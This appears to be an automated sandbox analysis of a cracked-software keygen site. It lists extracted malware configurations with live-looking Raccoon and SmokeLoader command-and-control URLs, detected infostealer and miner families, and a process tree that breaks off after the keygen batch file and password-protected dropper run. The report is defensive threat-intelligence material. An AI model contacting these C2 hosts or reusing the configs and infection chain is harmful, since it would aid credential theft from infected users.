Resubmissions
28-03-2021 14:03
210328-k4cvgmxem6 1028-03-2021 09:38
210328-av8mak971a 1027-03-2021 18:19
210327-4yh3gn24dn 10Analysis
-
max time kernel
137s -
max time network
563s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
27-03-2021 18:19
Errors
Reason
Machine shutdown
General
-
Target
https://keygenninja.com/
-
Sample
210327-4yh3gn24dn
Score
10/10
Malware Config
Extracted
Family
raccoon
Botnet
4ce8ad65ffaa0dffa8cc56e03b4fd65c31c1a91d
Attributes
-
url4cnc
https://telete.in/j90dadarobin
rc4.plain
rc4.plain
Extracted
Family
metasploit
Version
windows/single_exec
Extracted
Family
smokeloader
Version
2019
C2
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
rc4.i32
rc4.i32
Extracted
Family
smokeloader
Version
2020
C2
http://xsss99.icu/upload/
http://bingooodsg.icu/upload/
http://junntd.xyz/upload/
http://ginessa11.xyz/upload/
http://overplayninsx.xyz/upload/
http://bananinze.com/upload/
http://daunimlas.com/upload/
rc4.i32
rc4.i32
Extracted
Family
raccoon
Botnet
afefd33a49c7cbd55d417545269920f24c85aa37
Attributes
-
url4cnc
https://telete.in/jagressor_kz
rc4.plain
rc4.plain
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 3 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
XMRig Miner Payload 3 IoCs
-
Creates new service(s) 1 TTPs
-
Executes dropped EXE 34 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 26 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
themida 1 IoCs
Detects Themida, Advanced Windows software protection system.
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks for any installed AV software in registry 1 TTPs 53 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 16 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 3 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 26 IoCs
-
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 7 IoCs
-
Enumerates system info in registry 2 TTPs 11 IoCs
-
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
-
Kills process with taskkill 5 IoCs
-
Modifies Internet Explorer settings 1 TTPs 3 IoCs
-
Modifies registry class 64 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Runs ping.exe 1 TTPs 4 IoCs
-
Script User-Agent 7 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 51 IoCs
-
Suspicious use of FindShellTrayWindow 52 IoCs
-
Suspicious use of SetWindowsHookEx 3 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 4 IoCs
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenninja.com/1⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd0,0xd4,0xd8,0xac,0xdc,0x7ffd057d6e00,0x7ffd057d6e10,0x7ffd057d6e202⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1572 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1612 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2476 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2708 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3700 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4200 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4380 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5184 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4620 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4844 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings2⤵
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x21c,0x248,0x7ff7e84f7740,0x7ff7e84f7750,0x7ff7e84f77603⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4884 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4180 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5052 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4880 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5196 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5028 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5108 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4572 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5332 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5040 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4680 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5024 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5560 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4720 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6152 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5848 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6360 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6484 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5948 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4288 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5252 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6752 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6996 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6988 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5656 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5532 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7192 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6344 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6972 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6312 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7164 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5276 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3528 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6780 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7220 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7216 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6168 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6508 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7164 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7316 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5060 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7156 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6080 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5488 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3316 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3932 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3924 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4848 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5404 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1564,7389676632715342924,12888169779112232971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2204 /prefetch:82⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\msinfo32.exe"C:\Windows\system32\msinfo32.exe" "C:\Users\Admin\AppData\Local\Temp\Temp2_Fx_Sound_Enhancer_13_keygen_by_KeygenNinja.zip\KeygenNinja.nfo"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\system32\msinfo32.exe"C:\Windows\system32\msinfo32.exe" "C:\Users\Admin\AppData\Local\Temp\Temp2_Fx_Sound_Enhancer_13_keygen_by_KeygenNinja.zip\KeygenNinja.nfo"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\Temp2_Fx_Sound_Enhancer_13_keygen_by_KeygenNinja.zip\Fx_Sound_Enhancer_13_keygen_by_KeygenNinja.exe"C:\Users\Admin\AppData\Local\Temp\Temp2_Fx_Sound_Enhancer_13_keygen_by_KeygenNinja.zip\Fx_Sound_Enhancer_13_keygen_by_KeygenNinja.exe"1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
-
